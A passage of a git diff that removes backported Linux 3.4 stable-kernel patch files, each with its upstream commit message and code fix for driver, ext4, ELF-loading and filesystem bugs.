vmbus_open(struct vmbus_channel *new - - if (userdatalen > MAX_USER_DEFINED_BYTES) { - err = -EINVAL; -- goto error0; -+ goto error_gpadl; - } - - if (userdatalen) -@@ -234,6 +234,9 @@ error1: - list_del(&open_info->msglistentry); - spin_unlock_irqrestore(&vmbus_connection.channelmsg_lock, flags); - -+error_gpadl: -+ vmbus_teardown_gpadl(newchannel, newchannel->ringbuffer_gpadlhandle); -+ - error0: - free_pages((unsigned long)out, - get_order(send_ringbuffer_size + recv_ringbuffer_size)); diff --git a/patches/drm-i915-don-t-skip-request-retirement-if-the-active-list-is-empty.patch b/patches/drm-i915-don-t-skip-request-retirement-if-the-active-list-is-empty.patch deleted file mode 100644 index 1d0015d..0000000 --- a/patches/drm-i915-don-t-skip-request-retirement-if-the-active-list-is-empty.patch +++ /dev/null @@ -1,42 +0,0 @@ -From 0aedb1626566efd72b369c01992ee7413c82a0c5 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Ville=20Syrj=C3=A4l=C3=A4?= <ville.syrjala@linux.intel.com> -Date: Thu, 28 May 2015 18:32:36 +0300 -Subject: drm/i915: Don't skip request retirement if the active list is empty -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -commit 0aedb1626566efd72b369c01992ee7413c82a0c5 upstream. - -Apparently we can have requests even if though the active list is empty, -so do the request retirement regardless of whether there's anything -on the active list. - -The way it happened here is that during suspend intel_ring_idle() -notices the olr hanging around and then proceeds to get rid of it by -adding a request. However since there was nothing on the active lists -i915_gem_retire_requests() didn't clean those up, and so the idle work -never runs, and we leave the GPU "busy" during suspend resulting in a -WARN later. - -Signed-off-by: Ville Syrjälä <ville.syrjala@linux.intel.com> -Reviewed-by: Chris Wilson <chris@chris-wilson.co.uk> -Signed-off-by: Jani Nikula <jani.nikula@intel.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/gpu/drm/i915/i915_gem.c | 3 --- - 1 file changed, 3 deletions(-) - ---- a/drivers/gpu/drm/i915/i915_gem.c -+++ b/drivers/gpu/drm/i915/i915_gem.c -@@ -1779,9 +1779,6 @@ i915_gem_retire_requests_ring(struct int - uint32_t seqno; - int i; - -- if (list_empty(&ring->request_list)) -- return; -- - WARN_ON(i915_verify_lists(ring->dev)); - - seqno = ring->get_seqno(ring); diff --git a/patches/drm-radeon-fix-doublescan-modes-v2.patch b/patches/drm-radeon-fix-doublescan-modes-v2.patch deleted file mode 100644 index c01f6fd..0000000 --- a/patches/drm-radeon-fix-doublescan-modes-v2.patch +++ /dev/null @@ -1,43 +0,0 @@ -From fd99a0943ffaa0320ea4f69d09ed188f950c0432 Mon Sep 17 00:00:00 2001 -From: Alex Deucher <alexander.deucher@amd.com> -Date: Tue, 24 Feb 2015 11:29:21 -0500 -Subject: drm/radeon: fix doublescan modes (v2) - -commit fd99a0943ffaa0320ea4f69d09ed188f950c0432 upstream. - -Use the correct flags for atom. - -v2: handle DRM_MODE_FLAG_DBLCLK - -Signed-off-by: Alex Deucher <alexander.deucher@amd.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/gpu/drm/radeon/atombios_crtc.c | 8 ++++++-- - 1 file changed, 6 insertions(+), 2 deletions(-) - ---- a/drivers/gpu/drm/radeon/atombios_crtc.c -+++ b/drivers/gpu/drm/radeon/atombios_crtc.c -@@ -318,8 +318,10 @@ atombios_set_crtc_dtd_timing(struct drm_ - misc |= ATOM_COMPOSITESYNC; - if (mode->flags & DRM_MODE_FLAG_INTERLACE) - misc |= ATOM_INTERLACE; -- if (mode->flags & DRM_MODE_FLAG_DBLSCAN) -+ if (mode->flags & DRM_MODE_FLAG_DBLCLK) - misc |= ATOM_DOUBLE_CLOCK_MODE; -+ if (mode->flags & DRM_MODE_FLAG_DBLSCAN) -+ misc |= ATOM_H_REPLICATIONBY2 | ATOM_V_REPLICATIONBY2; - - args.susModeMiscInfo.usAccess = cpu_to_le16(misc); - args.ucCRTC = radeon_crtc->crtc_id; -@@ -362,8 +364,10 @@ static void atombios_crtc_set_timing(str - misc |= ATOM_COMPOSITESYNC; - if (mode->flags & DRM_MODE_FLAG_INTERLACE) - misc |= ATOM_INTERLACE; -- if (mode->flags & DRM_MODE_FLAG_DBLSCAN) -+ if (mode->flags & DRM_MODE_FLAG_DBLCLK) - misc |= ATOM_DOUBLE_CLOCK_MODE; -+ if (mode->flags & DRM_MODE_FLAG_DBLSCAN) -+ misc |= ATOM_H_REPLICATIONBY2 | ATOM_V_REPLICATIONBY2; - - args.susModeMiscInfo.usAccess = cpu_to_le16(misc); - args.ucCRTC = radeon_crtc->crtc_id; diff --git a/patches/drm-radeon-fix-vm_context-_page_table_end_addr-handling.patch b/patches/drm-radeon-fix-vm_context-_page_table_end_addr-handling.patch deleted file mode 100644 index a5fe67f..0000000 --- a/patches/drm-radeon-fix-vm_context-_page_table_end_addr-handling.patch +++ /dev/null @@ -1,91 +0,0 @@ -From 607d48063512707a414e346972e2210dc71ab491 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Christian=20K=C3=B6nig?= <christian.koenig@amd.com> -Date: Tue, 12 May 2015 14:56:17 +0200 -Subject: drm/radeon: fix VM_CONTEXT*_PAGE_TABLE_END_ADDR handling -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -commit 607d48063512707a414e346972e2210dc71ab491 upstream. - -The mapping range is inclusive between starting and ending addresses. - -Signed-off-by: Christian König <christian.koenig@amd.com> -Signed-off-by: Alex Deucher <alexander.deucher@amd.com> -[lizf: Backported to 3.4: - - adjust context - - drop the change to clk.c - - drop the second change in cayman_pcie_gart_enable()] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/gpu/drm/radeon/evergreen.c | 2 +- - drivers/gpu/drm/radeon/ni.c | 2 +- - drivers/gpu/drm/radeon/r600.c | 2 +- - drivers/gpu/drm/radeon/rv770.c | 2 +- - drivers/gpu/drm/radeon/si.c | 4 ++-- - 5 files changed, 6 insertions(+), 6 deletions(-) - ---- a/drivers/gpu/drm/radeon/evergreen.c -+++ b/drivers/gpu/drm/radeon/evergreen.c -@@ -1079,7 +1079,7 @@ int evergreen_pcie_gart_enable(struct ra - WREG32(MC_VM_MB_L1_TLB2_CNTL, tmp); - WREG32(MC_VM_MB_L1_TLB3_CNTL, tmp); - WREG32(VM_CONTEXT0_PAGE_TABLE_START_ADDR, rdev->mc.gtt_start >> 12); -- WREG32(VM_CONTEXT0_PAGE_TABLE_END_ADDR, rdev->mc.gtt_end >> 12); -+ WREG32(VM_CONTEXT0_PAGE_TABLE_END_ADDR, (rdev->mc.gtt_end >> 12) - 1); - WREG32(VM_CONTEXT0_PAGE_TABLE_BASE_ADDR, rdev->gart.table_addr >> 12); - WREG32(VM_CONTEXT0_CNTL, ENABLE_CONTEXT | PAGE_TABLE_DEPTH(0) | - RANGE_PROTECTION_FAULT_ENABLE_DEFAULT); ---- a/drivers/gpu/drm/radeon/ni.c -+++ b/drivers/gpu/drm/radeon/ni.c -@@ -1075,7 +1075,7 @@ int cayman_pcie_gart_enable(struct radeo - L2_CACHE_BIGK_FRAGMENT_SIZE(6)); - /* setup context0 */ - WREG32(VM_CONTEXT0_PAGE_TABLE_START_ADDR, rdev->mc.gtt_start >> 12); -- WREG32(VM_CONTEXT0_PAGE_TABLE_END_ADDR, rdev->mc.gtt_end >> 12); -+ WREG32(VM_CONTEXT0_PAGE_TABLE_END_ADDR, (rdev->mc.gtt_end >> 12) - 1); - WREG32(VM_CONTEXT0_PAGE_TABLE_BASE_ADDR, rdev->gart.table_addr >> 12); - WREG32(VM_CONTEXT0_PROTECTION_FAULT_DEFAULT_ADDR, - (u32)(rdev->dummy_page.addr >> 12)); ---- a/drivers/gpu/drm/radeon/r600.c -+++ b/drivers/gpu/drm/radeon/r600.c -@@ -930,7 +930,7 @@ int r600_pcie_gart_enable(struct radeon_ - WREG32(MC_VM_L1_TLB_MCB_RD_SEM_CNTL, tmp | ENABLE_SEMAPHORE_MODE); - WREG32(MC_VM_L1_TLB_MCB_WR_SEM_CNTL, tmp | ENABLE_SEMAPHORE_MODE); - WREG32(VM_CONTEXT0_PAGE_TABLE_START_ADDR, rdev->mc.gtt_start >> 12); -- WREG32(VM_CONTEXT0_PAGE_TABLE_END_ADDR, rdev->mc.gtt_end >> 12); -+ WREG32(VM_CONTEXT0_PAGE_TABLE_END_ADDR, (rdev->mc.gtt_end >> 12) - 1); - WREG32(VM_CONTEXT0_PAGE_TABLE_BASE_ADDR, rdev->gart.table_addr >> 12); - WREG32(VM_CONTEXT0_CNTL, ENABLE_CONTEXT | PAGE_TABLE_DEPTH(0) | - RANGE_PROTECTION_FAULT_ENABLE_DEFAULT); ---- a/drivers/gpu/drm/radeon/rv770.c -+++ b/drivers/gpu/drm/radeon/rv770.c -@@ -158,7 +158,7 @@ int rv770_pcie_gart_enable(struct radeon - WREG32(MC_VM_MB_L1_TLB2_CNTL, tmp); - WREG32(MC_VM_MB_L1_TLB3_CNTL, tmp); - WREG32(VM_CONTEXT0_PAGE_TABLE_START_ADDR, rdev->mc.gtt_start >> 12); -- WREG32(VM_CONTEXT0_PAGE_TABLE_END_ADDR, rdev->mc.gtt_end >> 12); -+ WREG32(VM_CONTEXT0_PAGE_TABLE_END_ADDR, (rdev->mc.gtt_end >> 12) - 1); - WREG32(VM_CONTEXT0_PAGE_TABLE_BASE_ADDR, rdev->gart.table_addr >> 12); - WREG32(VM_CONTEXT0_CNTL, ENABLE_CONTEXT | PAGE_TABLE_DEPTH(0) | - RANGE_PROTECTION_FAULT_ENABLE_DEFAULT); ---- a/drivers/gpu/drm/radeon/si.c -+++ b/drivers/gpu/drm/radeon/si.c -@@ -2537,7 +2537,7 @@ int si_pcie_gart_enable(struct radeon_de - L2_CACHE_BIGK_FRAGMENT_SIZE(0)); - /* setup context0 */ - WREG32(VM_CONTEXT0_PAGE_TABLE_START_ADDR, rdev->mc.gtt_start >> 12); -- WREG32(VM_CONTEXT0_PAGE_TABLE_END_ADDR, rdev->mc.gtt_end >> 12); -+ WREG32(VM_CONTEXT0_PAGE_TABLE_END_ADDR, (rdev->mc.gtt_end >> 12) - 1); - WREG32(VM_CONTEXT0_PAGE_TABLE_BASE_ADDR, rdev->gart.table_addr >> 12); - WREG32(VM_CONTEXT0_PROTECTION_FAULT_DEFAULT_ADDR, - (u32)(rdev->dummy_page.addr >> 12)); -@@ -2555,7 +2555,7 @@ int si_pcie_gart_enable(struct radeon_de - */ - /* set vm size, must be a multiple of 4 */ - WREG32(VM_CONTEXT1_PAGE_TABLE_START_ADDR, 0); -- WREG32(VM_CONTEXT1_PAGE_TABLE_END_ADDR, rdev->vm_manager.max_pfn); -+ WREG32(VM_CONTEXT1_PAGE_TABLE_END_ADDR, rdev->vm_manager.max_pfn - 1); - for (i = 1; i < 16; i++) { - if (i < 8) - WREG32(VM_CONTEXT0_PAGE_TABLE_BASE_ADDR + (i << 2), diff --git a/patches/drm-radeon-use-drm_calloc_ab-for-cs-relocs.patch b/patches/drm-radeon-use-drm_calloc_ab-for-cs-relocs.patch deleted file mode 100644 index 9fc4b54..0000000 --- a/patches/drm-radeon-use-drm_calloc_ab-for-cs-relocs.patch +++ /dev/null @@ -1,42 +0,0 @@ -From b421ed15d2c3039eb724680e4de1e4b2bd196a9a Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Michel=20D=C3=A4nzer?= <michel.daenzer@amd.com> -Date: Thu, 16 Apr 2015 11:17:27 +0900 -Subject: drm/radeon: Use drm_calloc_ab for CS relocs -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -commit b421ed15d2c3039eb724680e4de1e4b2bd196a9a upstream. - -The number of relocs is passed in by userspace and can be large. It has -been observed to cause kcalloc failures in the wild. - -Reviewed-by: Christian König <christian.koenig@amd.com> -Signed-off-by: Michel Dänzer <michel.daenzer@amd.com> -Signed-off-by: Alex Deucher <alexander.deucher@amd.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/gpu/drm/radeon/radeon_cs.c | 4 ++-- - 1 file changed, 2 insertions(+), 2 deletions(-) - ---- a/drivers/gpu/drm/radeon/radeon_cs.c -+++ b/drivers/gpu/drm/radeon/radeon_cs.c -@@ -49,7 +49,7 @@ int radeon_cs_parser_relocs(struct radeo - if (p->relocs_ptr == NULL) { - return -ENOMEM; - } -- p->relocs = kcalloc(p->nrelocs, sizeof(struct radeon_cs_reloc), GFP_KERNEL); -+ p->relocs = drm_calloc_large(p->nrelocs, sizeof(struct radeon_bo_list)); - if (p->relocs == NULL) { - return -ENOMEM; - } -@@ -324,7 +324,7 @@ static void radeon_cs_parser_fini(struct - } - } - kfree(parser->track); -- kfree(parser->relocs); -+ drm_free_large(parser->relocs); - kfree(parser->relocs_ptr); - for (i = 0; i < parser->nchunks; i++) { - kfree(parser->chunks[i].kdata); diff --git a/patches/e1000-add-dummy-allocator-to-fix-race-condition-between-mtu-change-and-netpoll.patch b/patches/e1000-add-dummy-allocator-to-fix-race-condition-between-mtu-change-and-netpoll.patch deleted file mode 100644 index 5d6dd22..0000000 --- a/patches/e1000-add-dummy-allocator-to-fix-race-condition-between-mtu-change-and-netpoll.patch +++ /dev/null @@ -1,91 +0,0 @@ -From 08e8331654d1d7b2c58045e549005bc356aa7810 Mon Sep 17 00:00:00 2001 -From: Sabrina Dubroca <sd@queasysnail.net> -Date: Thu, 26 Feb 2015 05:35:41 +0000 -Subject: e1000: add dummy allocator to fix race condition between mtu change - and netpoll - -commit 08e8331654d1d7b2c58045e549005bc356aa7810 upstream. - -There is a race condition between e1000_change_mtu's cleanups and -netpoll, when we change the MTU across jumbo size: - -Changing MTU frees all the rx buffers: - e1000_change_mtu -> e1000_down -> e1000_clean_all_rx_rings -> - e1000_clean_rx_ring - -Then, close to the end of e1000_change_mtu: - pr_info -> ... -> netpoll_poll_dev -> e1000_clean -> - e1000_clean_rx_irq -> e1000_alloc_rx_buffers -> e1000_alloc_frag - -And when we come back to do the rest of the MTU change: - e1000_up -> e1000_configure -> e1000_configure_rx -> - e1000_alloc_jumbo_rx_buffers - -alloc_jumbo finds the buffers already != NULL, since data (shared with -page in e1000_rx_buffer->rxbuf) has been re-alloc'd, but it's garbage, -or at least not what is expected when in jumbo state. - -This results in an unusable adapter (packets don't get through), and a -NULL pointer dereference on the next call to e1000_clean_rx_ring -(other mtu change, link down, shutdown): - -BUG: unable to handle kernel NULL pointer dereference at (null) -IP: [<ffffffff81194d6e>] put_compound_page+0x7e/0x330 - - [...] - -Call Trace: - [<ffffffff81195445>] put_page+0x55/0x60 - [<ffffffff815d9f44>] e1000_clean_rx_ring+0x134/0x200 - [<ffffffff815da055>] e1000_clean_all_rx_rings+0x45/0x60 - [<ffffffff815df5e0>] e1000_down+0x1c0/0x1d0 - [<ffffffff811e2260>] ? deactivate_slab+0x7f0/0x840 - [<ffffffff815e21bc>] e1000_change_mtu+0xdc/0x170 - [<ffffffff81647050>] dev_set_mtu+0xa0/0x140 - [<ffffffff81664218>] do_setlink+0x218/0xac0 - [<ffffffff814459e9>] ? nla_parse+0xb9/0x120 - [<ffffffff816652d0>] rtnl_newlink+0x6d0/0x890 - [<ffffffff8104f000>] ? kvm_clock_read+0x20/0x40 - [<ffffffff810a2068>] ? sched_clock_cpu+0xa8/0x100 - [<ffffffff81663802>] rtnetlink_rcv_msg+0x92/0x260 - -By setting the allocator to a dummy version, netpoll can't mess up our -rx buffers. The allocator is set back to a sane value in -e1000_configure_rx. - -Fixes: edbbb3ca1077 ("e1000: implement jumbo receive with partial descriptors") -Signed-off-by: Sabrina Dubroca <sd@queasysnail.net> -Tested-by: Aaron Brown <aaron.f.brown@intel.com> -Signed-off-by: Jeff Kirsher <jeffrey.t.kirsher@intel.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/net/ethernet/intel/e1000/e1000_main.c | 10 +++++++++- - 1 file changed, 9 insertions(+), 1 deletion(-) - ---- a/drivers/net/ethernet/intel/e1000/e1000_main.c -+++ b/drivers/net/ethernet/intel/e1000/e1000_main.c -@@ -144,6 +144,11 @@ static bool e1000_clean_rx_irq(struct e1 - static bool e1000_clean_jumbo_rx_irq(struct e1000_adapter *adapter, - struct e1000_rx_ring *rx_ring, - int *work_done, int work_to_do); -+static void e1000_alloc_dummy_rx_buffers(struct e1000_adapter *adapter, -+ struct e1000_rx_ring *rx_ring, -+ int cleaned_count) -+{ -+} - static void e1000_alloc_rx_buffers(struct e1000_adapter *adapter, - struct e1000_rx_ring *rx_ring, - int cleaned_count); -@@ -3545,8 +3550,11 @@ static int e1000_change_mtu(struct net_d - msleep(1); - /* e1000_down has a dependency on max_frame_size */ - hw->max_frame_size = max_frame; -- if (netif_running(netdev)) -+ if (netif_running(netdev)) { -+ /* prevent buffers from being reallocated */ -+ adapter->alloc_rx_buf = e1000_alloc_dummy_rx_buffers; - e1000_down(adapter); -+ } - - /* NOTE: netdev_alloc_skb reserves 16 bytes, and typically NET_IP_ALIGN - * means we reserve 2 more, this pushes us to allocate from the next diff --git a/patches/ext4-check-for-zero-length-extent-explicitly.patch b/patches/ext4-check-for-zero-length-extent-explicitly.patch deleted file mode 100644 index 72e83cd..0000000 --- a/patches/ext4-check-for-zero-length-extent-explicitly.patch +++ /dev/null @@ -1,33 +0,0 @@ -From 2f974865ffdfe7b9f46a9940836c8b167342563d Mon Sep 17 00:00:00 2001 -From: Eryu Guan <guaneryu@gmail.com> -Date: Thu, 14 May 2015 19:00:45 -0400 -Subject: ext4: check for zero length extent explicitly - -commit 2f974865ffdfe7b9f46a9940836c8b167342563d upstream. - -The following commit introduced a bug when checking for zero length extent - -5946d08 ext4: check for overlapping extents in ext4_valid_extent_entries() - -Zero length extent could pass the check if lblock is zero. - -Adding the explicit check for zero length back. - -Signed-off-by: Eryu Guan <guaneryu@gmail.com> -Signed-off-by: Theodore Ts'o <tytso@mit.edu> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/ext4/extents.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/fs/ext4/extents.c -+++ b/fs/ext4/extents.c -@@ -320,7 +320,7 @@ static int ext4_valid_extent(struct inod - ext4_lblk_t lblock = le32_to_cpu(ext->ee_block); - ext4_lblk_t last = lblock + len - 1; - -- if (lblock > last) -+ if (len == 0 || lblock > last) - return 0; - return ext4_data_block_valid(EXT4_SB(inode->i_sb), block, len); - } diff --git a/patches/ext4-make-fsync-to-sync-parent-dir-in-no-journal-for-real-this-time.patch b/patches/ext4-make-fsync-to-sync-parent-dir-in-no-journal-for-real-this-time.patch deleted file mode 100644 index 08c35c7..0000000 --- a/patches/ext4-make-fsync-to-sync-parent-dir-in-no-journal-for-real-this-time.patch +++ /dev/null @@ -1,92 +0,0 @@ -From e12fb97222fc41e8442896934f76d39ef99b590a Mon Sep 17 00:00:00 2001 -From: Lukas Czerner <lczerner@redhat.com> -Date: Fri, 3 Apr 2015 10:46:58 -0400 -Subject: ext4: make fsync to sync parent dir in no-journal for real this time - -commit e12fb97222fc41e8442896934f76d39ef99b590a upstream. - -Previously commit 14ece1028b3ed53ffec1b1213ffc6acaf79ad77c added a -support for for syncing parent directory of newly created inodes to -make sure that the inode is not lost after a power failure in -no-journal mode. - -However this does not work in majority of cases, namely: - - if the directory has inline data - - if the directory is already indexed - - if the directory already has at least one block and: - - the new entry fits into it - - or we've successfully converted it to indexed - -So in those cases we might lose the inode entirely even after fsync in -the no-journal mode. This also includes ext2 default mode obviously. - -I've noticed this while running xfstest generic/321 and even though the -test should fail (we need to run fsck after a crash in no-journal mode) -I could not find a newly created entries even when if it was fsynced -before. - -Fix this by adjusting the ext4_add_entry() successful exit paths to set -the inode EXT4_STATE_NEWENTRY so that fsync has the chance to fsync the -parent directory as well. - -Signed-off-by: Lukas Czerner <lczerner@redhat.com> -Signed-off-by: Theodore Ts'o <tytso@mit.edu> -Reviewed-by: Jan Kara <jack@suse.cz> -Cc: Frank Mayhar <fmayhar@google.com> -[lizf: Backported to 3.4: remove a change from return to goto, as that -doesn't exist in 3.4] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/ext4/namei.c | 18 ++++++++++-------- - 1 file changed, 10 insertions(+), 8 deletions(-) - ---- a/fs/ext4/namei.c -+++ b/fs/ext4/namei.c -@@ -1469,7 +1469,7 @@ static int ext4_add_entry(handle_t *hand - struct inode *inode) - { - struct inode *dir = dentry->d_parent->d_inode; -- struct buffer_head *bh; -+ struct buffer_head *bh = NULL; - struct ext4_dir_entry_2 *de; - struct super_block *sb; - int retval; -@@ -1484,7 +1484,7 @@ static int ext4_add_entry(handle_t *hand - if (is_dx(dir)) { - retval = ext4_dx_add_entry(handle, dentry, inode); - if (!retval || (retval != ERR_BAD_DX_DIR)) -- return retval; -+ goto out; - ext4_clear_inode_flag(dir, EXT4_INODE_INDEX); - dx_fallback++; - ext4_mark_inode_dirty(handle, dir); -@@ -1495,14 +1495,15 @@ static int ext4_add_entry(handle_t *hand - if(!bh) - return retval; - retval = add_dirent_to_buf(handle, dentry, inode, NULL, bh); -- if (retval != -ENOSPC) { -- brelse(bh); -- return retval; -- } -+ if (retval != -ENOSPC) -+ goto out; - - if (blocks == 1 && !dx_fallback && -- EXT4_HAS_COMPAT_FEATURE(sb, EXT4_FEATURE_COMPAT_DIR_INDEX)) -- return make_indexed_dir(handle, dentry, inode, bh); -+ EXT4_HAS_COMPAT_FEATURE(sb, EXT4_FEATURE_COMPAT_DIR_INDEX)) { -+ retval = make_indexed_dir(handle, dentry, inode, bh); -+ bh = NULL; /* make_indexed_dir releases bh */ -+ goto out; -+ } - brelse(bh); - } - bh = ext4_append(handle, dir, &block, &retval); -@@ -1512,6 +1513,7 @@ static int ext4_add_entry(handle_t *hand - de->inode = 0; - de->rec_len = ext4_rec_len_to_disk(blocksize, blocksize); - retval = add_dirent_to_buf(handle, dentry, inode, de, bh); -+out: - brelse(bh); - if (retval == 0) - ext4_set_inode_state(inode, EXT4_STATE_NEWENTRY); diff --git a/patches/ext4-move-check-under-lock-scope-to-close-a-race.patch b/patches/ext4-move-check-under-lock-scope-to-close-a-race.patch deleted file mode 100644 index f0fb973..0000000 --- a/patches/ext4-move-check-under-lock-scope-to-close-a-race.patch +++ /dev/null @@ -1,54 +0,0 @@ -From 280227a75b56ab5d35854f3a77ef74a7ad56a203 Mon Sep 17 00:00:00 2001 -From: Davide Italiano <dccitaliano@gmail.com> -Date: Sat, 2 May 2015 23:21:15 -0400 -Subject: ext4: move check under lock scope to close a race. - -commit 280227a75b56ab5d35854f3a77ef74a7ad56a203 upstream. - -fallocate() checks that the file is extent-based and returns -EOPNOTSUPP in case is not. Other tasks can convert from and to -indirect and extent so it's safe to check only after grabbing -the inode mutex. - -Signed-off-by: Davide Italiano <dccitaliano@gmail.com> -Signed-off-by: Theodore Ts'o <tytso@mit.edu> -[lizf: Backported to 3.4: - - adjust context - - return -EOPNOTSUPP instead of jumping to the "out" label] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/ext4/extents.c | 16 +++++++++------- - 1 file changed, 9 insertions(+), 7 deletions(-) - ---- a/fs/ext4/extents.c -+++ b/fs/ext4/extents.c -@@ -4365,13 +4365,6 @@ long ext4_fallocate(struct file *file, i - struct ext4_map_blocks map; - unsigned int credits, blkbits = inode->i_blkbits; - -- /* -- * currently supporting (pre)allocate mode for extent-based -- * files _only_ -- */ -- if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) -- return -EOPNOTSUPP; -- - /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) - return -EOPNOTSUPP; -@@ -4392,6 +4385,15 @@ long ext4_fallocate(struct file *file, i - */ - credits = ext4_chunk_trans_blocks(inode, max_blocks); - mutex_lock(&inode->i_mutex); -+ -+ /* -+ * We only support preallocation for extent-based files only -+ */ -+ if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) { -+ mutex_unlock(&inode->i_mutex); -+ return -EOPNOTSUPP; -+ } -+ - ret = inode_newsize_ok(inode, (len + offset)); - if (ret) { - mutex_unlock(&inode->i_mutex); diff --git a/patches/firmware-ihex2fw.c-restore-missing-default-in-switch-statement.patch b/patches/firmware-ihex2fw.c-restore-missing-default-in-switch-statement.patch deleted file mode 100644 index b54c7b1..0000000 --- a/patches/firmware-ihex2fw.c-restore-missing-default-in-switch-statement.patch +++ /dev/null @@ -1,36 +0,0 @@ -From d43698e8abb58a6ac47d16e0f47bb55f452e4fc4 Mon Sep 17 00:00:00 2001 -From: Nicolas Iooss <nicolas.iooss_linux@m4x.org> -Date: Thu, 16 Apr 2015 12:44:02 -0700 -Subject: firmware/ihex2fw.c: restore missing default in switch statement - -commit d43698e8abb58a6ac47d16e0f47bb55f452e4fc4 upstream. - -Commit 2473238eac95 ("ihex: add support for CS:IP/EIP records") removes -the "default:" statement in the switch block, making the "return -usage();" line dead code and ihex2fw silently ignoring unknown options. -Restore this statement. - -This bug was found by building with HOSTCC=clang and adding --Wunreachable-code-return to HOSTCFLAGS. - -Fixes: 2473238eac95 ("ihex: add support for CS:IP/EIP records") -Signed-off-by: Nicolas Iooss <nicolas.iooss_linux@m4x.org> -Cc: Mark Brown <broonie@opensource.wolfsonmicro.com> -Cc: David Woodhouse <dwmw2@infradead.org> -Signed-off-by: Andrew Morton <akpm@linux-foundation.org> -Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - firmware/ihex2fw.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/firmware/ihex2fw.c -+++ b/firmware/ihex2fw.c -@@ -86,6 +86,7 @@ int main(int argc, char **argv) - case 'j': - include_jump = 1; - break; -+ default: - return usage(); - } - } diff --git a/patches/fs-binfmt_elf.c-fix-bug-in-loading-of-pie-binaries.patch b/patches/fs-binfmt_elf.c-fix-bug-in-loading-of-pie-binaries.patch deleted file mode 100644 index 9bd9535..0000000 --- a/patches/fs-binfmt_elf.c-fix-bug-in-loading-of-pie-binaries.patch +++ /dev/null @@ -1,69 +0,0 @@ -From a87938b2e246b81b4fb713edb371a9fa3c5c3c86 Mon Sep 17 00:00:00 2001 -From: Michael Davidson <md@google.com> -Date: Tue, 14 Apr 2015 15:47:38 -0700 -Subject: fs/binfmt_elf.c: fix bug in loading of PIE binaries - -commit a87938b2e246b81b4fb713edb371a9fa3c5c3c86 upstream. - -With CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down -address allocation strategy, load_elf_binary() will attempt to map a PIE -binary into an address range immediately below mm->mmap_base. - -Unfortunately, load_elf_ binary() does not take account of the need to -allocate sufficient space for the entire binary which means that, while -the first PT_LOAD segment is mapped below mm->mmap_base, the subsequent -PT_LOAD segment(s) end up being mapped above mm->mmap_base into the are -that is supposed to be the "gap" between the stack and the binary. - -Since the size of the "gap" on x86_64 is only guaranteed to be 128MB this -means that binaries with large data segments > 128MB can end up mapping -part of their data segment over their stack resulting in corruption of the -stack (and the data segment once the binary starts to run). - -Any PIE binary with a data segment > 128MB is vulnerable to this although -address randomization means that the actual gap between the stack and the -end of the binary is normally greater than 128MB. The larger the data -segment of the binary the higher the probability of failure. - -Fix this by calculating the total size of the binary in the same way as -load_elf_interp(). - -Signed-off-by: Michael Davidson <md@google.com> -Cc: Alexander Viro <viro@zeniv.linux.org.uk> -Cc: Jiri Kosina <jkosina@suse.cz> -Cc: Kees Cook <keescook@chromium.org> -Signed-off-by: Andrew Morton <akpm@linux-foundation.org> -Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/binfmt_elf.c | 9 ++++++++- - 1 file changed, 8 insertions(+), 1 deletion(-) - ---- a/fs/binfmt_elf.c -+++ b/fs/binfmt_elf.c -@@ -742,6 +742,7 @@ static int load_elf_binary(struct linux_ - i < loc->elf_ex.e_phnum; i++, elf_ppnt++) { - int elf_prot = 0, elf_flags; - unsigned long k, vaddr; -+ unsigned long total_size = 0; - - if (elf_ppnt->p_type != PT_LOAD) - continue; -@@ -805,10 +806,16 @@ static int load_elf_binary(struct linux_ - #else - load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr); - #endif -+ total_size = total_mapping_size(elf_phdata, -+ loc->elf_ex.e_phnum); -+ if (!total_size) { -+ error = -EINVAL; -+ goto out_free_dentry; -+ } - } - - error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, -- elf_prot, elf_flags, 0); -+ elf_prot, elf_flags, total_size); - if (BAD_ADDR(error)) { - send_sig(SIGKILL, current, 0); - retval = IS_ERR((void *)error) ? diff --git a/patches/fs-omfs-add-null-terminator-in-the-end-up-the-token-list.patch b/patches/fs-omfs-add-null-terminator-in-the-end-up-the-token-list.patch deleted file mode 100644 index 088f415..0000000 --- a/patches/fs-omfs-add-null-terminator-in-the-end-up-the-token-list.patch +++ /dev/null @@ -1,42 +0,0 @@ -From dcbff39da3d815f08750552fdd04f96b51751129 Mon Sep 17 00:00:00 2001 -From: Sasha Levin <sasha.levin@oracle.com> -Date: Thu, 28 May 2015 15:44:29 -0700 -Subject: fs, omfs: add NULL terminator in the end up the token list - -commit dcbff39da3d815f08750552fdd04f96b51751129 upstream. - -match_token() expects a NULL terminator at the end of the token list so -that it would know where to stop. Not having one causes it to overrun -to invalid memory. - -In practice, passing a mount option that omfs didn't recognize would -sometimes panic the system. - -Signed-off-by: Sasha Levin <sasha.levin@oracle.com> 